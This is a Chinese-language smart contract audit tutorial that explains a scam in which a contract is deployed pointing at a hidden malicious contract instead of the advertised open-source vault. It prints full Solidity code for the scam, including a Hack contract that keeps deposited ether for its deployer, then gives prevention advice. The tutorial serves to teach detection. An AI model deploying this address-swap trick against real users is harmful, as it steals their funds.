智能合約安全審計入門篇—— 移花接木

概述

上期我們了解了利用tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A 合約並告訴受害者我們會在部署A 合約的構造函數中傳入B 合約的地址並將B 合約開源,其實我們會在部署A 合約時傳入C 合約的地址,如果受害者完全信任我們沒有檢查部署A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A 傳入合約B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約A 傳入合約C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker { Vault vault;
constructor(address _vault) { vault = Vault(payable(_vault)); }
function makeMoney(address recipient) public payable { require(msg.value >= 1, “You are so poor!”);
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}(“”); require(success, “Send failed”);
vault.transfer(recipient, amount); }}
contract Vault { address private maker; address private owner; uint256 transferGasLimit;
constructor() payable { owner = msg.sender; transferGasLimit = 2300; }
modifier OnlyMaker() { require(msg.sender == maker, “Not MoneyMaker contract!”); _; }
modifier OnlyOwner() { require(msg.sender == owner, “Not owner!”); _; }
function setMacker(address _maker) public OnlyOwner { maker = _maker; }
function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( “” ); require(success, “Send failed”); }
function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(“”); require(success, “Send failed”); }
receive() external payable {}
fallback() external payable {}}
// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil;
constructor(address _evil) { evil = _evil; }
modifier OnlyEvil() { require(msg.sender == evil, “What are you doing?”); _; }
function transfer() public payable { emit taunt(“Haha, your ether is mine!”); }
function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( “” ); require(success, “Send failed”); }
receive() external payable {}
fallback() external payable {}}

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A, B, C 三個角色來區分三個合約分別代表什麼角色:

MoneyMaker 合約代表A 合約;

Vault 合約代表B 合約;

Hack 合約代表C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署Vault(B) 合約並在合約中留存100 ETH 資金,在鏈上將Vault(B) 合約開源;

2. Evil 部署Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢MoneyMaker(A) 合約,部署時會將Vault(B) 合約地址傳入且會調用Vault.setMacker() 將maker 角色設置為MoneyMaker 合約地址,任何人調用MoneyMaker.makeMoney() 向合約中打入不少於一個以太都會得到雙倍以太的回報;

4. Bob 收到消息,了解到MoneyMaker 合約的存在,他看了MoneyMaker(A) 和Vault(B) 合約的代碼並檢查了Vault(B) 合約中的餘額發現邏輯確實如Evil 說的那樣,他在沒有檢查MoneyMaker(A) 部署交易的情況下就相信了Evil;

5. Bob 調用MoneyMaker.makeMoney() 向合約中打入自己全部身家20 ETH,在他滿懷期待等著收到Vault(B) 打來的40 ETH 時等來的卻是一句”Haha, your ether is mine!”。

咋回事呢?其實這個騙局非常簡單但是很常見。 Evil 在部署MoneyMaker 合約時傳入的並不是Vault 合約的地址,而是傳入了Hack 合約的地址。所以當Bob 調用MoneyMaker.makeMoney() 時並不會像他想像中的那樣MoneyMaker.makeMoney() 去調用Vault.transfer() 回打給他雙倍的以太,而是調用了Hack.transfer() 拋出了一個事件:”Haha, your ether is mine!”。最後Evil 調用Vault.withrow() 將Vault 合約中的100 ETH 轉出,並通過Hack.withrow() 將Bob 轉入的20 ETH 轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易後才能相信對方說的話是對的。

Total
0
Shares
Related Posts